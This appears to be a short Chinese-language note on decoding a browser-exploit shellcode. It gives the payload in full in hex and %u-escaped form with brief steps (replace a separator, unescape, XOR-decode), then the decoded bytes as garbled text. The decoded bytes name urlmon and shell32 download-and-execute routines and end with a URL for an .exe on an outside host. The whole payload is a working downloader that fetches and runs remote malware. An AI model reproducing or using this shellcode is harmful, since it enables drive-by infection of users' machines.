2abcdEEA2abcd9269abcd4FFEabcd8A69abcd69EAabcd6B15abcd86B4abcdE688abcd0ABBabcdE241abcdE2E2abcd0072abcd8A1AabcdD0D1abcdE2E2abcdB78Aabcd8791abcdB690abcdE469abcdF00AabcdE2E2abcd69E2abcd880AabcdBBE7abcd660AabcdE2E2abcd00E2abcdD11BabcdB51DabcdB41Dabcd62E6abcd0ADAabcdDA62abcd970Babcd63F3abcdE79Aabcd7272abcd7272abcdEA96abcd1D69abcd69B7abcd6F0EabcdE7A2abcd021DabcdDA0AabcdE2E2abcd21E2abcdDA62abcd620Aabcd0BDAabcdF397abcd9A63abcd72E7abcd7272abcd9672abcd8A05abcdE8EAabcdE2E2abcdA26Fabcd1DE7abcd0A02abcdE2F5abcdE2E2abcd0A21abcdE2F3abcdE2E2abcdF35AabcdE6E3abcd2062abcdE2EEabcdE009abcd21BAabcd1B0Aabcd1D1DabcdB91DabcdE524abcd6B5AabcdE3BDabcd2584abcdE7A5abcd021DabcdB121abcd3E69abcd88B1abcd8AA2abcdF2E2abcdE2E2abcd69B5abcdC2A4abcd640Aabcd1D1DabcdBA1DabcdB321abcd69B4abcdDE97abcd9669abcd9ACCabcd17E1abcd69B4abcdC294abcd17E1abcd2BD1abcdA3ABabcdE14FabcdD127abcdED39abcdF25Cabcd34D8abcdEA96abcd2923abcdE1E5abcdA238abcd1309abcdFDD9abcd0597abcd69BCabcdC6BCabcd3FE1abcd6984abcdA9EEabcdBC69abcdE1FEabcd693Fabcd69E6abcd27E1abcdBC49abcd21BBabcd9B0Aabcd1D1Eabcd501Dabcd0010abcd5016abcdEDD4abcd12F1abcd99AAabcdD0DFabcd7396abcd67EEabcd4D3Dabcd8159abcd336BabcdB3ADabcd58A2abcdE59DabcdC070abcdFC92abcd8646abcd710Dabcd06D0abcd6C76abcdE8F1abcd9B4Eabcd04DBabcd267AabcdFD6FabcdB596abcdEF84abcdA11Dabcd4E5Cabcd7A39abcdF2E8abcd621Aabcd4D34abcd1978abcdF7B1abcd8A84abcd9696abcdD892abcdCDCDabcd8491abcdD783abcdCCD0abcd8F89abcd928Babcd8CCCabcd9687abcd83CDabcd93CDabcd9393abcd87CCabcd879AabcdE2E2abcdE2E2

abcd替换为%u


%u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F7%u3B81%u0BFF%uE160%u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF%uE160%uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2%u91B7%u9087%u69B6%uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%uE2E2%u978A%u8E90%uB68F%uF41D%u2267%uF197%u8D8A%uE28C%u8AE2%u9097%u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%u8A1B%uD18E%uE2D0%u918A%u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%uE2E2%uE288%uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1%uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122%uA469%u0AC6%uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE%u87CC%uA625%uE6E1%u879A%uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%uE369%uE2E2%u1A61%uED1D%uDB66%uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%uE2E2%uE2E2%uA425%uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%uE2E6%u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2%u96A4%u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2%uD6B4%u6469%uE272%uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6%u80BE%u87CC%u0E63%uE3E2%uE2E2%u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%uD119%uD122%u6339%uE20E%uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%uB2B5%u69B2%uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D%u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A%u8791%uB690%uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A%u7272%u7272%uEA96%u1D69%u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%u9A63%u72E7%u7272%u9672%u8A05%uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%u1D1D%uB91D%uE524%u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%u9669%u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC%uC6BC%u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF%u7396%u67EE%u4D3D%u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596%uEF84%uA11D%u4E5C%u7A39%uF2E8%u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8491%uD783%uCCD0%u8F89%u928B%u8CCC%u9687%u83CD%u93CD%u9393%u87CC%u879A%uE2E2%uE2E2

再ESC
转义符清除

然后
enumxor
OK
铑r?┭+刐醕?閭韌多忖b珠        ?
=閭_d?婡媝瓔h嬿jY?愨鴋32hUserT婩钀嬭j
Y?怡honhurlmT吚uhonhurlmT婩鑐嬭j
Y枰怡hl32hshelT婩鐰嬭j
Y璩怡侅
嬡伱€jjSjVD3繞€<u鶋啇?\a.e荄xe3蒕QSWQ3缷F@桀
凐厹
jjjjjh繱婩$柰
凐剓
塅`jPV(塅d媶惽\b.e荄xejjjjjh@S婩$鑻
凐?
墕剦瀸婩`jjj婩`PV8荈p荈t伹3蹕^dj岶pPhWv`V3晒€|晅€|t€t曗雼?凐塣pj岶tPvpW秳V0侂凔?v`V4秳V4媶悑瀸?\a.eSV,嬀寢啇?\b.e侅
嬡h
Sh
WjjV孄3?蹃?嬏凐T}?
兝塍嬏嬞兠3繮QSPPPPPPWPP婩鑷伳a荈3蓩<$冿v兡3?鏹Vd?婡媝瓔h嬿塚djY瑁愨鴋32hUserT??嬭jY鑴怡3WV€8鑰8閡亁悙悙t?U嬱岪噼8脌8鑰8閡亁悙悙t鏷
岪噼描?
€??X描?[?笁_
f荊嗝S嬡Sj@hW婩 鑶X肣V媢<媡.x鮒媣 ?蒊A????:謙了贎腭;u鏭媈$輋?K媈輯?奴^Y描y?豺怍?餒{=2t?呥c壯OQ@??p飺2鋽?
瑈9鏄膷tWf
C粳蹣
鴢织汒Sfhttp://sfa52.kmip.net/a/qqq.exe